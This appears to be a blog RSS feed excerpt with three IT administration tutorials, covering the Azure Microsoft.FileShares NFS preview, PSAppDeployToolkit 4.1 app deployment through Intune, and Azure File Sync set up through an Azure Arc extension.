<h1 id="new-azure-file-share-resource-microsoft-fileshares" tabindex="-1">New Azure File Share Resource (Microsoft.FileShares) <a class="header-anchor" href="#new-azure-file-share-resource-microsoft-fileshares" aria-label="Permalink to &quot;New Azure File Share Resource (Microsoft.FileShares)&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Microsoft has released a new way to create and manage Azure file shares using the <span style="color:crimson">Microsoft.FileShares</span> resource provider.
Instead of handling everything through storage accounts, this update lets you <span style="color:crimson">manage file shares directly</span>.
You can now set security and network controls for each share, monitor them individually, and scale as needed without extra complexity.</p>
<img src="\azure\fileshare\ms-shares.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="450" loading="lazy"/>
<p>This new model is currently <span style="color:crimson">in preview</span> and supports only <span style="color:crimson">NFS file shares on premium SSD storage</span>.
Premium SSDs provide high performance but they are not cheap, so keep an eye on that if you decide to test this Resource.</p>
<p>This preview is a great step toward simpler, more flexible file shares in the cloud.</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Microsoft.FileShares is currently in preview and features are limited, but will get expanded in the future.</p>
</div>
<h2 id="creating-a-file-share" tabindex="-1">📂 Creating a File Share <a class="header-anchor" href="#creating-a-file-share" aria-label="Permalink to &quot;:open_file_folder: Creating a File Share&quot;">&ZeroWidthSpace;</a></h2>
<ol>
<li>Open the <a href="https://az.cmd.ms/" target="_blank" rel="noreferrer">Azure admin portal</a>.</li>
<li>Click <code>Create a resource</code>, search for <strong>File Share</strong> (Microsoft.FileShares), choose the File Share resource from the results and then click <code>Create</code>.</li>
</ol>
<img src="\azure\fileshare\resource.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="200" loading="lazy"/>
<ol start="3">
<li>Fill in the required fields in the <strong>Basics</strong> tab.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<ul>
<li>
<p>At this time, Redundancy options are limited to <strong>ZRS</strong> (Zone Redundant Storage) and <strong>LRS</strong> (Locally Redundant Storage).</p>
</li>
<li>
<p>The <span style="color:crimson">File share name</span> is not the name shown when you mount the drive.
This is just the resource name in Azure.
So any naming conventions you have for resources in Azure can be applied without affecting end-user experience.</p>
</li>
</ul>
</div>
<img src="\azure\fileshare\basic.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>Select your <strong>Advanced</strong> and <strong>Networking</strong> options.
<ul>
<li>Here you can set the actual mount name the end-user will see.</li>
</ul>
</li>
</ol>
<details class="details custom-block"><summary>Protocol explanation</summary>
<p>Root squash</p>
<ul>
<li>No root squash: Root user on the client is treated as root on the file share.</li>
<li>Root squash: Root user on the client is treated as an anonymous user on the file share.</li>
<li>All squash: All users on the client are treated as an anonymous user on the file share.</li>
</ul>
</details>
<table>
<thead>
<tr>
<th><img src="\azure\fileshare\advanced.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
<th><img src="\azure\fileshare\networking.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="5">
<li>Lastly select <code>Review + create</code> to deploy the file share.</li>
</ol>
<h2 id="mounting-a-file-share" tabindex="-1">🗃️ Mounting a File Share <a class="header-anchor" href="#mounting-a-file-share" aria-label="Permalink to &quot;:card_file_box: Mounting a File Share&quot;">&ZeroWidthSpace;</a></h2>
<p><u>Prerequisites</u></p>
<ul>
<li>A VM with a connection to the subnet of the file share.</li>
<li>NFS client installed on the VM.</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can find the Public endpoint in your VNet in your file share's <strong>Networking</strong> tab.
<img src="\azure\fileshare\share-networking.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></p>
</div>
<p><u>Steps to mount the file share</u></p>
<p>Open the Azure admin portal -&gt; <a href="https://portal.azure.com/?quickstart=true#browse/Microsoft.FileShares%2Ffileshares" target="_blank" rel="noreferrer">File shares</a> and get the mount command from your file share's <strong>Overview</strong> tab.</p>
<img src="\azure\fileshare\share-connect.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<p>You can either use the following command to install the NFS client on your Linux VM without encryption in transit or use the the longer command seen in the screenshot above.</p>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>sudo apt-get -y update </span></span>
<span class="line"><span>sudo apt-get install nfs-common</span></span></code></pre>
</div><p>Use the command below to mount the file share on your VM.
In the screenshot, the highlighted portion is the file share’s address, that you need to change to fit your share.</p>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>sudo mkdir -p /mount/mytestshare </span></span>
<span class="line"><span>sudo mount -t nfs fs-vln5qzr42jdrzdbhh.z5.file.storage.azure.net:/fs-vln5qzr42jdrzdbhh/mytestshare /mount/mytestshare -o vers=4,minorversion=1,sec=sys</span></span></code></pre>
</div><p>After that, the mounted file share will appear under the name you specified during creation.</p>
<img src="\azure\fileshare\mount-linux.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>The Microsoft.FileShares preview marks a meaningful step toward simpler, more flexible file share management in Azure. By treating file shares as first-class resources, it reduces dependency on storage account and enables per-share configuration, monitoring and access control. While currently limited in preview, the future should improve security and scalability for file shares.</p>
<p>Key improvements</p>
<ul>
<li>Deploy file shares using easy automation as a top-level resource</li>
<li>Configure granular secure access by share</li>
<li>Monitor and scale per share with added flexibility</li>
<li>Leverage simplified transparent pricing with provisioned v2</li>
</ul>
<p><u>Resources</u></p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/azure/storage/files/create-file-share" target="_blank" rel="noreferrer">Create an Azure file share with Microsoft.FileShares - Microsoft Learn</a></li>
<li><a href="https://techcommunity.microsoft.com/blog/azurestorageblog/simplifying-file-share-management-and-control-for-azure-files/4452634" target="_blank" rel="noreferrer">Simplifying file share management and control for Azure Files - Microsoft Tech Community</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PSAppDeployToolkit 4 | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/PSAppDeployToolkit.html</link>
            <guid>https://michaelsendpoint.com/intune/PSAppDeployToolkit.html</guid>
            <pubDate>Tue, 26 Aug 2025 21:31:44 GMT</pubDate>
            <description><![CDATA[This article provides a quick start guide to deploying applications using PSAppDeployToolkit 4.1 with Microsoft Intune, including configuration, packaging, and user experience enhancements.]]></description>
            <content:encoded><![CDATA[<img src="https://psappdeploytoolkit.com/images/psadt-dark-navheader.svg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<h1 id="ps-app-deploy-toolkit-4-1" tabindex="-1">PS App Deploy Toolkit 4.1 <a class="header-anchor" href="#ps-app-deploy-toolkit-4-1" aria-label="Permalink to &quot;PS App Deploy Toolkit 4.1&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>The PSAppDeployToolkit is a <span style="color:crimson">community tool</span> that provides a framework <span style="color:crimson">for deploying applications</span> in a Windows environment.
It <span style="color:crimson">simplifies</span> the process of creating <span style="color:crimson">complex app deployments</span> and harmonises the installation and deferral process.</p>
<p>Patch My PC has recently started to support the project, but remains <span style="color:crimson">open source</span>.
You can find more information about this partnership <a href="https://psappdeploytoolkit.com/blog/2023/12/06/qna-webinar" target="_blank" rel="noreferrer">here</a>.</p>
<p><u>Features:</u></p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Modular Design</strong></td>
<td>The toolkit is built with a modular approach, allowing users to include only the components they need for their specific deployment scenarios.</td>
</tr>
<tr>
<td><strong>Admin-Friendly</strong></td>
<td>The toolkit provides a set of pre-defined functions and templates that streamline the deployment process, reducing the need for extensive scripting.</td>
</tr>
<tr>
<td><strong>Logging and Reporting</strong></td>
<td>The toolkit includes built-in logging and reporting features, making it easy to track deployment progress and troubleshoot issues.</td>
</tr>
<tr>
<td><strong>Integration with Intune</strong></td>
<td>Since the latest version, the toolkit popups work seamless with Microsoft Intune, even when deployed as SYSTEM.</td>
</tr>
<tr>
<td><strong>Smart Deployment Control</strong></td>
<td>Validate prerequisites, close in-use apps, prompt users for deferrals, and handle reboots gracefully.</td>
</tr>
<tr>
<td><strong>Silent &amp; Reliable Installs</strong></td>
<td>Run installers silently with detailed logging, handle exit codes automatically, and uninstall old/conflicting versions.</td>
</tr>
<tr>
<td><strong>Rich PowerShell Toolkit</strong></td>
<td>Pre-built functions for file/registry management, shortcuts, DLL registration, policy refresh, and more.</td>
</tr>
<tr>
<td><strong>MCM/3rd-Party Integration</strong></td>
<td>Full support for Microsoft Configuration Manager, exit code handling, bundling apps, and efficient distribution.</td>
</tr>
<tr>
<td><strong>User-Friendly Experience</strong></td>
<td>Customizable UI prompts to close apps, save work, and manage installation timing with countdowns or deferrals.</td>
</tr>
</tbody>
</table>
<h2 id="configuration" tabindex="-1">⚙️ Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:gear: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<p>To get started with the PSAppDeployToolkit, you can either install the PowerShell Module or download the deployment Template from the official GitHub Page <a href="https://github.com/PSAppDeployToolkit/PSAppDeployToolkit/releases" target="_blank" rel="noreferrer">here</a>.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name PSAppDeployToolkit </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scope CurrentUser</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The only difference between the two methods is that installing the PowerShell Module allows you to create a new template with a simple command and having the functions readily available, instead of downloading the ZIP file and extracting it manually.</p>
</div>
<h3 id="psadt-config" tabindex="-1">Psadt config <a class="header-anchor" href="#psadt-config" aria-label="Permalink to &quot;Psadt config&quot;">&ZeroWidthSpace;</a></h3>
<p>Now that you got the PSAppDeployToolkit template, you can start configuring it for your specific deployment needs.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>All the files you’ll work with are well-commented, making it easy to understand their purpose and functionality even without extensive PowerShell knowledge.</p>
</div>
<p>The folder structure of the PSAppDeployToolkit template is as follows:</p>
<img src="\intune\psadt\template_structure.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>PSAppDeployToolkit</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>├── Assets</span></span>
<span class="line"><span>│   └── Icons</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>├── Config</span></span>
<span class="line"><span>│   └── In depth configurations (i.e. UI, Assets, Paths ...)</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>├── Files</span></span>
<span class="line"><span>│   └── Setup file folder</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>├── PSAppDeployToolkit</span></span>
<span class="line"><span>│   └── Main toolkit assets and functions (Do not touch! ⛔)</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>├── PSAppDeployToolkit.Extension</span></span>
<span class="line"><span>│   └── Extension functions</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>└── Strings</span></span>
<span class="line"><span>│   └── Customizable texts used in the toolkit</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>└── SupportFiles</span></span>
<span class="line"><span>│   └── Additional files needed for your deployment</span></span>
<span class="line"><span>│</span></span>
<span class="line"><span>└── Invoke-AppDeployToolkit.exe</span></span>
<span class="line"><span>└── Invoke-AppDeployToolkit.ps1</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>The following example shows a bare-minimum configuration for deploying an EXE file. For a simplified setup, you can use an MSI installer, place it in the Files folder, no additional configuration required. (<a href="https://psappdeploytoolkit.com/docs/deployment-concepts/zero-config-deployment" target="_blank" rel="noreferrer">Zero Configuration Deployment</a>).</p>
</div>
<p><u>Files</u></p>
<p>The <code>Files</code> folder is where you place the setup files needed for your deployment.<br>
So first you need to download the setup files for your deployment and place them here.</p>
<img src="\intune\psadt\files.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<p><u>Invoke-AppDeployToolkit.ps1</u></p>
<p>The primary configuration is handled in the <code>Invoke-AppDeployToolkit.ps1</code> file, while the <code>Invoke-AppDeployToolkit.exe</code> file simply provides a more convenient way to run it.</p>
<p>The file is sectioned into several areas, that are all well documented.</p>
<p>Important for the configurations are the following areas:</p>
<ul>
<li>Variables</li>
<li>Install</li>
<li>Uninstall</li>
<li>Repair</li>
</ul>
<p>Whereby the latter three areas are further <span style="color:crimson">sectioned into Pre-, Main and Post- stages</span>.</p>
<ol>
<li>First you enter the nessecary app variables.</li>
</ol>
<img src="\intune\psadt\config_variables.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Keep in mind that the AppVendor, AppName and AppVersion are displayed in the header of the enduser installation window.
<img src="\intune\psadt\app_install_progress.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></p>
</div>
<ol start="2">
<li>Next, configure the installation process by adding PowerShell commands to the Pre-Install, Install and Post-Install sections.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>The toolkit provides many built-in functions to handle common deployment tasks. See the <a href="https://psappdeploytoolkit.com/docs/category/functions" target="_blank" rel="noreferrer">Functions Reference</a> for details.</p>
</div>
<p>In this example we use the main installation function <code>Start-ADTProcess</code> in the Install section, in which we define the <strong>installer filepath</strong> and <strong>argumentlist</strong>. This functions also automatically starts any other needed function for the installation process like <code>Show-ADTInstallationWelcome</code>.</p>
<img src="\intune\psadt\config_install.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Now, we change the standard success message in the Post-Install section, to something apropriate for our application.</li>
</ol>
<img src="\intune\psadt\config_post_install.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="4">
<li>Finally, we configure the Uninstall section to enable uninstalling the application.</li>
</ol>
<img src="\intune\psadt\config_uninstall.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><u>Config</u></p>
<p>In the config section you could configure <strong>Asset Paths</strong>, <strong>MSI Installation Parameters</strong> and other settings in the <code>config.psd1</code> file.</p>
<p><span style="color:crimson">For our example we do not need to change anything here.</span> To change the AppIcon we later just replace the image file.</p>
<img src="\intune\psadt\config_assets.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p><u>Strings</u></p>
<p>To customize user-facing texts (except, for example, the installation success message), open the <code>strings.psd1</code> file in the Strings folder (which contains the default English strings), or select the subfolder for your preferred language.</p>
<p>The available strings categories for customization are:</p>
<ul>
<li>BalloonTip</li>
<li>BlockExecutionText</li>
<li>DiskSpaceText</li>
<li>InstallationPrompt</li>
<li>ProgressPrompt</li>
<li>RestartPrompt</li>
<li>CloseAppsPrompt</li>
</ul>
<p><span style="color:crimson">For our example we do not need to change anything here.</span></p>
<p><u>Assets</u></p>
<p>The Assets folder contains images and icons used in the user interface of the toolkit. For our example we replace the <code>AppIcon.png</code> standard file with the appropriate icon for our application.</p>
<img src="\intune\psadt\AppIcon.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="80" loading="lazy"/>
<p><u>SupportFiles</u></p>
<p>In the <strong>SupportFiles</strong> folder you can put additional files that you may require during the installation process, such as configuration files or scripts.</p>
<p><span style="color:crimson">For our example we do not need to change anything here.</span></p>
<h3 id="create-intune-app" tabindex="-1">Create Intune App <a class="header-anchor" href="#create-intune-app" aria-label="Permalink to &quot;Create Intune App&quot;">&ZeroWidthSpace;</a></h3>
<p><u>Prepare the Intune app package</u></p>
<ol>
<li>Download the <a href="https://github.com/Microsoft/Microsoft-Win32-Content-Prep-Tool" target="_blank" rel="noreferrer">Microsoft Win32 Content Prep Tool</a> on the official GitHub website.</li>
<li>Start the tool and follow the prompts to package your application (see screenshot).</li>
</ol>
<img src="\intune\psadt\intunewinapp.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><u>Create the Intune app</u></p>
<ol>
<li>Open the Microsoft Intune admin center and navigate to <strong>Apps</strong> &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/AppsWindowsMenu/~/windowsApps" target="_blank" rel="noreferrer">Windows</a> and click <code>Create</code>.</li>
<li>Select the app type <strong>Windows app (Win32)</strong>.</li>
<li>In the <strong>App package file</strong> section, upload the <code>intunewin</code> file you created earlier.</li>
<li>Fill in the required information in the <strong>App information</strong> section.</li>
<li>In the <strong>Program</strong> section, specify the install and uninstall commands.
<ul>
<li>Install command: <code>Invoke-AppDeployToolkit.exe -DeploymentType Install</code></li>
<li>Uninstall command: <code>Invoke-AppDeployToolkit.exe -DeploymentType Uninstall</code></li>
</ul>
</li>
<li>Configure the app's requirements and detection rules.</li>
</ol>
<img src="\intune\psadt\app_detection.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="7">
<li>Configure Dependencies, Supersedence and Assignments.</li>
<li>Review and create the app.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can learn more about Installation parameters <a href="https://psappdeploytoolkit.com/docs/usage/how-to-deploy" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<h2 id="user-experience" tabindex="-1">⭐ User experience <a class="header-anchor" href="#user-experience" aria-label="Permalink to &quot;:star: User experience&quot;">&ZeroWidthSpace;</a></h2>
<p>As the user in our example the installation process is straightforward and user-friendly.
As soon as Intune pushed the app, the user received a notification where he can select to install the app or defer the installation.</p>
<p><span style="color:crimson">This is the new feature in the last release of the PS App Deploy Toolkit. You do not need any additional tools anymore to display these messages for the user, even so the Installation is run as SYSTEM.</span></p>
<img src="\intune\psadt\app_install.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>The user then sees a non interactive installation window and as soon as the installation is complete, the user will see the message we configured earlier and the app is installed.</p>
<img src="\intune\psadt\app_install_finish.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="deployment-editor" tabindex="-1">📦 Deployment Editor <a class="header-anchor" href="#deployment-editor" aria-label="Permalink to &quot;:package: Deployment Editor&quot;">&ZeroWidthSpace;</a></h2>
<p>If you want a more <span style="color:crimson">visual approach</span> to creating and managing your deployment packages, you can use the excellent <span style="color:crimson">Deployment Editor</span> by <strong>'tugi.ch'</strong>.
You can download it from the <a href="https://github.com/tugich/DeploymentEditor/releases" target="_blank" rel="noreferrer">Github Page</a>.</p>
<p>When you start the Deployment Editor, you can plug the functions you want to use directly from the left pane and configure it in the middle and right side.</p>
<img src="\intune\psadt\deployment_editor.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<p>You can also directly open the project folders from the top menu, to copy your Installer there.</p>
<img src="\intune\psadt\deployment_editor_project.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<p>Once configured, clicking the &quot;Generate Deployment&quot; button in the center top toolbar will create a complete deployment package with the same folder structure as the official template, but with your customized configuration already applied.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want an in depth Guide to this tool you can find more information on the <a href="https://github.com/tugich/DeploymentEditor/tree/main" target="_blank" rel="noreferrer">Github Page</a> and the official Guide Video on <a href="https://www.youtube.com/watch?v=1Ct5B27BGP4" target="_blank" rel="noreferrer">YouTube</a>.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>PSAppDeployToolkit can make deploying complicated apps on Windows a whole lot easier, especially when you need apps closed before starting or want to give your users the possibility to defer installations. Now with its smooth Intune integration and handy features it got even better. Whether you prefer scripting or a visual editor, you’ll find it straightforward to set up, customize, and manage your deployments.</p>
<p>So in the end it is a great tool in the arsenal of the Intune administrator and well worth a look.</p>
<p><u>Resources</u></p>
<ul>
<li><a href="https://psappdeploytoolkit.com/" target="_blank" rel="noreferrer">PSAppDeployToolkit Homepage</a></li>
<li><a href="https://psappdeploytoolkit.com/docs/introduction" target="_blank" rel="noreferrer">PSAppDeployToolkit Documentation</a></li>
<li><a href="https://psappdeploytoolkit.com/docs/category/functions" target="_blank" rel="noreferrer">PSAppDeployToolkit Functions</a></li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure File Sync with Azure Arc Extension | Azure]]></title>
            <link>https://michaelsendpoint.com/azure/ArcFileSync.html</link>
            <guid>https://michaelsendpoint.com/azure/ArcFileSync.html</guid>
            <pubDate>Tue, 12 Aug 2025 14:09:11 GMT</pubDate>
            <description><![CDATA[This article walks you through configuring Azure File Sync using the Azure File Sync Agent via the Arc extension, enabling seamless hybrid file management between on-premises servers and Azure Files.]]></description>
            <content:encoded><![CDATA[<img src="\azure_file_sync_agent\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Managing files across multiple locations while balancing on-premises infrastructure and cloud capabilities can present significant challenges.
Azure File Sync offers a streamlined solution by enabling you to centralize file services in Azure while maintaining the performance and compatibility of on-premises servers.</p>
<p>In this article, I will explore how to configure Azure File Sync and install and configure the Azure File Sync agent using the new extension.</p>
<h2 id="configuration" tabindex="-1">🧑‍🔧 Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:mechanic: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="_1-create-storage-account" tabindex="-1">1. Create Storage account <a class="header-anchor" href="#_1-create-storage-account" aria-label="Permalink to &quot;1. Create Storage account&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>First open the <strong>Azure admin Portal</strong> &rarr; go to <a href="https://azsa.cmd.ms/" target="_blank" rel="noreferrer">Storage accounts</a> and create a new Storage Account with <code>Create</code>.</li>
<li>Now you can enter the Storage Account details you want and click <code>Review + create</code> in the end.</li>
</ol>
<img src="\azure_file_sync_agent\storage_settings1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<h3 id="_2-create-file-share" tabindex="-1">2. Create File Share <a class="header-anchor" href="#_2-create-file-share" aria-label="Permalink to &quot;2. Create File Share&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Open your created <a href="https://azsa.cmd.ms/" target="_blank" rel="noreferrer">Storage account</a> go to <strong>Data Storage</strong> &rarr; <strong>File Shares</strong> &rarr; and select <code>+ File Share</code>.</li>
<li>Now you enter the <strong>Name</strong>, <strong>Access tier</strong> and <strong>Backup information</strong> (if needed) and then select <code>Review + create</code>.</li>
</ol>
<img src="\azure_file_sync_agent\new_fileshare.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<h3 id="_3-create-azure-sync-service" tabindex="-1">3. Create Azure Sync Service <a class="header-anchor" href="#_3-create-azure-sync-service" aria-label="Permalink to &quot;3. Create Azure Sync Service&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Now you open the <strong>Azure admin portal</strong> &rarr; <a href="https://portal.azure.com/?quickstart=true#browse/Microsoft.StorageSync%2FstorageSyncServices" target="_blank" rel="noreferrer">Storage Sync Service</a> and click <code>Create</code>.</li>
<li>Next, you need to select your subscription, choose the resource group and provide a name for the Sync Service.</li>
</ol>
<p>The <span style="color:crimson">Sync service</span> needs to be in the <span style="color:crimson">same region as your Storage Account</span>.</p>
<img src="\azure_file_sync_agent\azure_file_sync.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="3">
<li>Now, open the <strong>Storage Sync Service</strong> you created &rarr; <strong>Sync</strong> and select <span style="color:crimson">Sync groups</span>.</li>
<li>Select <code>Create a sync group</code>, enter a name, subscription and select the storage account, Azure File Share and then click <code>Create</code>.</li>
</ol>
<img src="\azure_file_sync_agent\syncgroup.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h3 id="_4-install-server-extension-with-azure-arc" tabindex="-1">4. Install Server Extension with Azure Arc <a class="header-anchor" href="#_4-install-server-extension-with-azure-arc" aria-label="Permalink to &quot;4. Install Server Extension with Azure Arc&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Go to your <strong>Azure admin center</strong> &rarr; <a href="https://azhybridcompute.cmd.ms/" target="_blank" rel="noreferrer">Azure Arc</a> and select your Arc-enabled Windows Server from the list.</li>
<li>Go to <strong>Extensions</strong> and click <code>+ Add</code>.</li>
<li>Now select <span style="color:crimson">Azure File Sync Agent for Windows</span>.</li>
</ol>
<img src="\azure_file_sync_agent\extension.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="4">
<li>Next you can configure the agents settings, then click <code>Review + create</code> and wait for the Deployment to complete.</li>
</ol>
<img src="\azure_file_sync_agent\extension_settings.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<img src="\azure_file_sync_agent\extension_complete.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<h3 id="_5-configure-azure-file-sync-agent" tabindex="-1">5. Configure Azure File Sync Agent <a class="header-anchor" href="#_5-configure-azure-file-sync-agent" aria-label="Permalink to &quot;5. Configure Azure File Sync Agent&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Connect to your server and make sure that the Azure PowerShell module ist installed, because it is needed by the agent to work. If missing, you can install it with the following command:</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">install-module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> az </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force</span></span></code></pre>
</div><div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>For the Agent to work properly, you must disable <strong>IE Enhanced Security Configuration</strong> in the Server Manager.
<img src="\azure_file_sync_agent\IESecurity_off.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></p>
</div>
<ol start="2">
<li>After the agent got successfully deployed on the server, you can find the <strong>Azure Storage Sync Agent Updater</strong> in the list of installed programs.</li>
</ol>
